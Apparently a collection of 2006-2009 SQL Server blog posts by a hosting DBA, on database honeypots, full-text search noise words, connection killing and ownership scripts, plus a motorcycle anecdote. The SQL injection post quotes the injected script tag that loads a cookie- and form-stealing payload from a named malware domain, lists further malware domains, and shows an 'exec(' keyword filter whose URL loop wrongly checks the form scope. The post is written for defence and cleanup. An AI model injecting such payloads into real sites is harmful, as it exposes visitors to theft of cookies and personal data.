The blog of Russ (snake) Michaels - SQL Server

Honeycombing a database

Sat, 14 Nov 2009 22:20:00 --0100

In the world of network servers, the term "honeypot" refers to a server that is placed in an environment for the sole purpose of attracting those who are snooping around, and capturing their activities within the honeypot server. Honeycombing a database is a very similar approach and involves creating "decoy" tables within a database that appear to contain valid, and unprotected, sensitive data. When unauthorized activity occurs on the decoy table, it is captured in an audit table and a notification is sent to the appropriate parties.

I recently came across an interesting book entitled Protecting SQL Server Data, From the previous url you can download a free 220 page ebook and this article is taken from chapter 1 in which you learn how to set a "honey trap" for would-be data thieves, allowing the DBA to identify the precursors of an attack and respond quickly and also to better understand the techniques being used to breach existing security measures.

It is certainly worth a read if database security is important to you or you have any sites that have been hacked through SQL injection.

Always check your tire pressure

Tue, 22 Sep 2009 14:11:00 --0100

If you ever read your bike or car manual you will note that is does advise you to regularly check your tire pressure, especially before a long trip. Like most people this is something I rarely remember to do, but now I wish I had.

My motorcycle had been sitting in the garage for a couple of months since I had last used it, so I thought it was time to take it out for a ride. The first thing I noticed was how hard it was to push it out of the garage, which I thought was due to the fact that pushing my bike about was the only exercise my poor legs got, so were now out of practice. Over the next few weeks there were other niggling things I noticed such as cornering and roundabouts being a little hard to handle and leaning the bike too far was starting to feel very uncomfortable, which I put down to having become used to driving a car the past months and not using my bike, yes believe it or not at almost 40 years old I only recently got my car license, but despite all the avoidance for all these the years I am now quite happy to be warm and dry in my car and not out on my bike most of the time :-)

Anyway while standing behind my bike one day I noticed that the rear tire looked a little flat, which again is in the manual, if you leave your bike unused for any length off time, this will happen and you are not supposed to leave it on the stand for long periods of time.

So I popped down to the garage to put some air in my tires, but what a difference it made to the bike performance. After I have increased both tires to the correct pressure it was like having a new bike. suddenly it was easy to manuvere again, gliding back and forwards with little effort, handling was also improved dramatically, with corners and roundabouts suddenly a synch again, and I was able to lean without feeling like I might lose the bike. So it seems my conversion to a car driver hadn't made me lose my bike riding skills at all, it was just down to the tires, and as well as spoiling the enjoyment of riding, it was also clealry quite dangerous as the ability to manuvere and handle the bike was dramatically decreased. While this situation is obviously a lot more drastic on 2 wheels, the same obviously must be true for your car as well, it also increases your fuel comsumption and wears your tires out quicker too, so the moral of the story, RTFM and REGULALRY CHECK YOUR TIRE PRESSURE.

The real bummer is that I now think this was the cause of my problems with my old Vulcan 1600 which caused me to sell me as I thought it was simply too big for my first bike.

SQL Injection Attacks and How to protect yourself

Thu, 24 Jul 2008 13:19:00 --0100

This week there has been an increase in SQL Injection attacks, specifically against ColdFusion sites since the hackers have discovered they are also vulnerable, primarily due to most developers not using <cfqueryparam>. You should also be aware that prior to the actual attacks, bots are first running vulnerability tests against sites to find out which language and which database they are using to determine which vulberability they may be vulberable to.

Use of cfqueryparam is pretty much a must have requirement for your queries these days and is generally secure because it results in a prepared statement, which is always binded as a string, which is not vulnerable to sql injection. But, many ColdFusion developers do not seem to use cfqueryparam probably due to not knowing it exists. In fact CFQueryParam has existed since CF4.5, andI have to admit even I didn't know that, it has only really been promoted as a best practice and way to avoid SQL injection since CF6.

In mid-July, the hacker webzine 0x000000.com discussed potential pitfalls, particularly within older versions of ColdFusion, which could lend themselves to potential compromise:

~ Easily discoverable passwords
~ Lack of parameterized query handling
~ Failure to properly escape single quotes
~ Returning error messages that are too verbose

Like standard SQL injection, ColdFusion attacks have been around for years. What appears to have happened now appears to be the same thing that led to the millions of compromises in the ASP/SQL Server attacks - the use of automated tools.

Following are some of the malware domains involved in the recent ColdFusion attacks:

mh.976801.cn
1.verynx.cn
mm.ll80.com

Over at CFMX Hosting we have had quite a lot of customers hit by the verynx.cn attack, which inserts the following into your database tables.

</title><script src="http://1.verynx.cn/w.js"></script>

The resulting javascript which gets loaded into your pages is used to "phish" your visitors details by copying their cookies and other personal details from form fields. There are various incarnations of this attack now, resulting in different scripts being inserted into your database. If restoring a database backup is not an option for you, then the following little script may help you out.

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script src="http://1.verynx.cn/w.js"></script><!--'','''')') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

This script will UNDO the changes made by the attack by searching for the afore mentioned string in all columns in all table in your database and removing it. All you need to do is modify the string to match the changes that were made to your database. If your site was attacked multiple times then the string may appear more than one, so you may have to run this script more than once.

Protecting Yourself

All of the attacks we have seen so far seem to be implemented by using the "Exec()" command, so are only affecting Microsoft SQL Server databases. So a quick and easy way to stop this is to add a URL and FORM scope validation script to your application.cfm or application.cfc to make sure none of these variables contain the Exec() command.

E.G.

<cfloop collection="#form#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>
<cfloop collection="#URL#" item="item">
<cfif form[item] contains "exec(">
.. your decision code here ...
</cfif>
</cfloop>

You could of course expand this further to check for any kind of SQL statement in the FORM or URL scope, as really there never should be any SQL in these scopes if your code is well written. Your decision code will determine what happens if a match is found. As it is obviously an attack there is no point in continuing to process the request and strip out the unwanted strings, so you may as well just abort it or generate an error page.

You should of course also be adding cfqueryparam tags to all your queries too, or if you are still running older version of CF then you should be validating the data types in another way, using <cfapram> or val() for example.

The best approach you can take is to lock down your database users with specific permissions so that your web site can only SELECT from the database and cannot update, delete, execute. You should ideally only allow these permissions from your backend admin system. If there are parts of your site that need to update the database, restrict the dbuser or DSN to only be able to update the specific tables/columns they need to.

If you need to find out which pages in your site have been attacked, then you should check your web logs, and search for things like "exec" or "declare" or other sql statements.

Automating Database maintenance in SQL 2005 Express Edition

Thu, 12 Jun 2008 10:22:00 --0100

If you have been using SQL Server 2005 express you will no doubt have noticed the lack of any backup options in SQL Web Studio Express or an SQLAgent, which is a big issue as you should be keeping backups of your databases.

Thankfully there is a solution using the expressmaint utility and windows scheduled tasks, and I found this handy article on how to use this solution to overcome this limitation of SQL Server 2005 express.

Now I just need to find a solution for the lack of import/export facilities, which I think is a major exclusion from the Web Studio Express and really limits its usefulness.

SQL Server Full Text Search - A clause of the query contained only ignored words

Sat, 29 Sep 2007 04:36:28 --0100

While doing some work with SQL Servers FULL-TEXT SEARCH recently I came across some interesting gotchas relating to "noise words" which I have not experienced before, which is probably because it is quite rare that I use these feature.

This query

select * from myTable

WHERE CONTAINS (myColumn, 'the NEAR good NEAR person')

would result in this error

Execution of a full-text operation failed. A clause of the query contained only ignored words.

The word "and" is considered a NOISE WORD. These are common words that MS Search feels should be ignored, and not be included in any Catalog. The full list of NOISE WORDS is located at \Program Files\Microsoft SQL Server\MSSQL\FTDATA\SQLServer\Config . The file representing your language can be opened and modified with a text editor. Any changes made will be reflected on the next Catalog population.

Now while the reason for these noise words existence is mainly good, to avoid overhead on database searches etc, there are situations where you might need to include them in your search. Unfortunately the only way to do this is to remove the words from the noise file.

In my situation I needed to do full-text search on all words being near to each other to return results like amazon, so "the good person" would return the same results as "person the good".

The problem is that in this scenario if ANY word is a NOISE WORD, the query fails.

Another scenario where this occurs is in a <simple_term> where all the words are NOISE WORDS and all get stripped.

<simple_term>

Specifies a match for an exact word (one or more characters without spaces or punctuation in single-byte languages) or a phrase (one or more consecutive words separated by spaces and optional punctuation in single-byte languages). Examples of valid simple terms are "blue berry", blueberry, and "Microsoft SQL Server". Phrases should be enclosed in double quotation marks (""). Words in a phrase must appear in the same order as specified in <contains_search_condition> as they appear in the database column. The search for characters in the word or phrase is case insensitive. Noise words (such as a, and, or the) in full-text indexed columns are not stored in the full-text index. If a noise word is used in a single word search, SQL Server returns an error message indicating that only noise words are present in the query. SQL Server includes a standard list of noise words in the directory \Mssql\Ftdata\Sqlserver\Config.

Punctuation is ignored. Therefore, contains(testing, "computer failure") matches a row with the value, "Where is my computer? Failure to find it would be expensive."

E.G.
select * from myTable
WHERE CONTAINS(myTable, 'any can come')

As "any", "can" and "come" are all noise words, this results in an empty query, and you get the above ignored words error.

So how can one avoid these errors.

1) You can trap the errors and display a friendly message. This is not very elegant and wont really tell your users why their search is nor working.

2) Or you can strip out all the "NOISE WORDS" from your search string prior to using it in a query. This way you can avoid any errors and can tell users in advance if they have used ignored words.

Here is a little CFFUNCTION I wrote to do this.

For those that may not yet have experienced the joys of FULL-TEXT search on SQL server, below are some addiitonal details

CONTAINS

At its simplest level, the key word CONTAINS behaves similar to LIKE. To begin, we will use CONTAINS for precise string matching. The differences between CONTAINS and LIKE will not be very evident here. Using the pubs Catalog created in Part 1, issue the query:

SELECT title_id, title, notes

FROM titles

WHERE CONTAINS (notes, ' "computer" ')

The statement returns three rows, each containing the word "computer" in the notes field.

The Catalog created on the pubs database contained two fields: notes, and title. These are the only two fields allowed for CONTAINS searching. If a query is issued on a field not included in the Catalog, SQL will return an error. Evidenced by searching on the "type" field below:

SELECT title_id, title, notes

FROM titles

WHERE CONTAINS (type, ' "computer" ')

This statement returns:

Server: Msg 7601, Level 16, State 3, Line 1 Cannot use a CONTAINS or FREETEXT predicate on column 'type' because it is not full-text indexed.

The syntax of the CONTAINS is the Cataloged field name, followed by the word or phrase to search for. Although only fields Cataloged can be searched on, any field in the table can be returned. Our first statement returned the title_id field. The same is true of joining a CONTAINS statement to another table. It follows the usual TSQL JOIN statement rules. This next query joins the CONTAINS statement to the titleauthor table, useful if author names were needed.

SELECT titles.title_id, titles.title, titles.notes, titleauthor.au_id

FROM titles INNER JOIN titleauthor ON titles.title_id = titleauthor.title_ID

WHERE CONTAINS (titles.notes, ' "computer" ')

The statement functions like a standard join returning the following.

The first query seemed very similar to a regular statement that could have been rewritten using the LIKE key word. However, if we run a LIKE statement, some differences will appear:

SELECT title_id, title, notes

FROM titles

WHERE notes LIKE '%computer%'

This LIKE statement returns five records rather than the three returned by the CONTAINS:

The difference is the plural "computers," returned by LIKE. The CONTAINS statement was only looking for an exact text match of "computer." Plurals were ignored. As a side note, CONTAINS is case insensitive. It sees no difference between "COmputERS" and "computers." To include the plurals, the CONTAINS is changed from what is known as a simple term search, to a prefix term search. This is accomplished by using the * sign. Change the original search statement to:

SELECT title_id, title, notes

FROM titles

WHERE CONTAINS (notes, '"computer*" ')

The query will now return the same five records as the LIKE statement. This leads to a discussion about the use of single and double quotes. The double quotes indicate the asterisk should look for zero, one, or more characters after the root word. Without the double quotes, such as:

SELECT title_id, title, notes

FROM titles

WHERE CONTAINS (notes, 'computer*')

The asterisk will now be treated as literal character to be found, rather than a wild card. Only the three records with the singular use of "computer" will be returned with this statement.

FORMSOF

Another way to find variants of a word is change our prefix term search into a generation term search by the use of a new key word: FORMSOF. FORMSOF is used in conjunction with CONTAINS to look for variants of the search word. To use FORMSOF, the original statement is changed to:

SELECT title, notes

FROM titles

WHERE CONTAINS(notes, 'FORMSOF (INFLECTIONAL, computer)')

This will return all five records, those with the word "computer," and the plural "computers." Again, we could obtain the same results by using a LIKE statement, but the real power of FORMSOF becomes evident when the word "good" is searched for. This next LIKE statement will not return any matching records:

SELECT title, notes

FROM titles

WHERE notes LIKE '%good%'

The word "good" does not appear in the notes field. However, this next FORMSOF statement will return one record:

SELECT title, notes

FROM titles

WHERE CONTAINS(notes, 'FORMSOF (INFLECTIONAL, good)')

The difference is that in addition to returning singular and plural forms of a word, FORMSOF will also include gender and neutral forms of nouns, verbs, and adjectives. In the above example, "best" is returned as a variant of "good."

NOISE WORDS

If we change the above statement around, and look for variants of the word "and" by using the following statement:

SELECT title, notes

FROM titles

WHERE CONTAINS(notes, 'FORMSOF (INFLECTIONAL, and)')

An error will be returned rather than the previously returned record:

Server: Msg 7619, Level 16, State 1, Line 1 Execution of a full-text operation failed. A clause of the query contained only ignored words.

As discussed at the start of this article the word "and" is considered a NOISE WORD.

SQL SERVER 2005 - Take database Offline and close active connections

Fri, 31 Aug 2007 12:34:00 --0100

Working for a hosting company one of the things I have to do every so often is restore customers database backups.

When there is an existing database alrerady in place and in use, you will not be able to do this while there are still active connections open, and you will therefore need to close those conenctions first.

With SQL 2000 this was easy, from enterprise manager you could choose "detach database", and then clear the open connections, then cancel the detach, then restore your backup.

As with many things, this is not so easy with SQL Server 2005 as the "SQL Server management Studio Express" doesn't have this option, so here is how to do this with script.

EXEC sp_dboption N'mydb', N'offline', N'true'
or
ALTER DATABASE [mydb] SET OFFLINE WITH ROLLBACK AFTER 30 SECONDS
or
ALTER DATABASE [mydb] SET OFFLINE WITH ROLLBACK IMMEDIATE

Using the alter database statement (SQL Server 2k and beyond) is the preferred method. The rollback after statement will force currently executing statements to rollback after N seconds. The default is to wait for all currently running transactions to complete and for the sessions to be terminated. Use the rollback immediate clause to rollback transactions immediately.
After you restore your database, it will automatically come back online.

SQL Server 2005 security and best practices

Wed, 15 Aug 2007 14:46:00 --0100

Like me I bet a lot of you have started playing with SQL Server 2005 and found it to be a completely different beast than SQL Server 2000, especially if you are also getting to grips with the new management studio instead of Enterprise manager, which so far seems to be lacking a few features as far as I can tell ?Security is always an important factor when deploying databases and even more so in a shared environment, so here are a few useful articles to get you on track.

SQL Server 2005 Security Overview for Database Administrators
This paper covers some of the most important new security features in SQL Server 2005. It tells you how, as an administrator, you can install SQL Server securely and keep it that way even as applications and users make use of the data stored within.

Security Considerations for SQL Server
SQL Server 2005 includes a variety of highly precise, configurable security features that can empower administrators to implement defense-in-depth that is optimized for the specific security risks of their environment. Access guidance about password policy, surface-area configuration, credentials, authenticators, and more.

Security Considerations for Databases and Database Applications
The SQL Server 2005 Database Engine helps you protect data from unauthorized disclosure and tampering. Learn about highly granular authentication, authorization, and validation mechanisms; strong encryption; security context switching and impersonation; and integrated key management.

SQL Server 2005 Security Best Practices: Operational and Administrative Tasks
This white paper covers some of the operational and administrative tasks associated with SQL Server 2005 security and lists best practices and operational and administrative tasks that will result in a more secure SQL Server system.

Protect Sensitive Data Using Encryption in SQL Server 2005
SQL Server 2005 uses strong encryption to provide the best protection for data, a nearly inviolate barrier to exposure. Explore the encryption features in the core database engine of SQL Server 2005, and learn how they can be used to protect data stored there as well as how to allow user interaction with prtected data. Also discussed are the various keys used to protect both data and other keys within a database, and how to get information about encryption objects.

SQL Server Tips and Tricks

Sun, 14 Jan 2007 19:38:00 --0100

Below is my own collection of useful tips for SQL Server 2000. This covers most of the more "not common knowledge" issues I have to deal with quite regulalrly and which you may find yourself having to deal with at least once. I hope you might find this useful.

Restoring databases

When restoring a backup database from another server, you will have an orphan user and you need to link the database user to an SQL server login.

The easiest way is to create the original login name on the SQL server, then restore the database backup.

Now run this command against the database from query analyser.

sp_change_users_login 'auto_fix', 'Login'

This will automatically associate the orphaned user with the specified Login.

If you have multiple users in the database that each have their own login, you will need to associate each one like this.

sp_change_users_login 'update_one', ‘user', 'Login'

This links the specified user in the current database to login. login must already exist. user and login must be specified.

Taking a DB offline

When taking a DB offline you may need to kill all open connections first, the below stored procedure will allow you to do this. Execute the stored procedure with:

Exec kill_all "database name"

------------- copy below this line --------------

CREATE procedure Kill_All

@dbname varchar(50)

Begin

-- Declare all the relevant variables

declare @counter int,

@spid int

-- Temp table to store all the connections

Create table #StoreConnections

(

id int identity(1,1),

spid int,

kpid int,

dbid int

)

-- Insert all the connection SPIDs ...

Insert into #StoreConnections

Select spid,kpid,dbid from master..sysprocesses where kpid = 0 and dbid = db_id(@dbname) and spid > 40

Set @counter = 1

Set @spid = (Select spid from #StoreConnections where id = @counter)

-- Start killing all the SPIDs ...

While @spid <> ''

Begin

Select @spid

Exec ('Kill ' + @spid)

Set @counter = @counter + 1

Set @spid = (Select spid from #StoreConnections where id = @counter)

End

-- Cleanup activity.

Drop table #StoreConnections

End

--------------- copy above this line ------------

Changing Object Ownership

When restoring a database backup for a client, often their tables may be owned by the DBO and not their database user.

The script below will change the owner of all tables to the specified 'NewUserName'

DECLARE @currentObject nvarchar(517)

DECLARE @qualifiedObject nvarchar(517)

DECLARE @currentOwner varchar(50)

DECLARE @newOwner varchar(50)

SET @currentOwner = 'dbo'

SET @newOwner = 'NewUserName'

DECLARE alterOwnerCursor CURSOR FOR

SELECT [name] FROM dbo.sysobjects

WHERE xtype = 'U' or xtype = 'P'

AND LEFT([name], 2) <> 'dt'

OPEN alterOwnerCursor

FETCH NEXT FROM alterOwnerCursor INTO @currentObject

WHILE @@FETCH_STATUS = 0

BEGIN

SET @qualifiedObject = CAST(@currentOwner as varchar) + '.' + CAST(@currentObject as varchar)

EXEC sp_changeobjectowner @qualifiedObject, @newOwner

FETCH NEXT FROM alterOwnerCursor INTO @currentObject

END

CLOSE alterOwnerCursor

DEALLOCATE alterOwnerCursor

Useful SQL Server Related links

http://www.support.microsoft.com/?id=314546
Moving DB's between Servers

http://www.support.microsoft.com/?id=224071
Moving SQL Server Databases to a New Location with Detach/Attach

http://support.microsoft.com/?id=221465
Using WITH MOVE in a Restore

http://www.support.microsoft.com/?id=246133
How To Transfer Logins and Passwords Between SQL Servers

http://www.support.microsoft.com/?id=298897
Mapping Logins & SIDs after a Restore

http://www.dbmaint.com/SyncSqlLogins.asp
Utility to map logins to users

http://www.support.microsoft.com/?id=168001
User Logon and/or Permission Errors After Restoring Dump

http://www.support.microsoft.com/?id=240872
How to Resolve Permission Issues When a Database Is Moved Between SQL Servers

http://www.sqlservercentral.com/scripts/scriptdetails.asp?scriptid=599
Restoring a .mdf

http://www.support.microsoft.com/?id=307775
Disaster Recovery Articles for SQL Server

http://www.dbmaint.com/SyncSqlLogins.asp

Sync SQL logins

Restrict database view in Enterprise Manager

Fri, 22 Sep 2006 17:41:00 --0100

PROBLEM

When many databases exist in a default instance or in a named instance of Microsoft SQL Server, you may experience a slow response from SQL Server Enterprise Manager, specifically when you drill into the Databases folder. If the Databases folder contains more than a thousand databases, you could experience delays that are more than five minutes.

The other problem is the very fact that on a shared server any user can see all the other databases on the server via Enterprise manager, even if they cannot access them.
The reason this can be an issue is from a security perspective. A lot of clients will have their database username/password hard coded into their DSN, and their DSN will usually have the same name as the database, which means that anyone else hosted on the same ColdFusion server can access that database if they know the DSN, and any les sthan honest person may just try that after seeing the list of databases.
So you may want to restrict this so that a user can only see their own databases.

Here is a link to a Microsoft KB article on how to resolve this issue.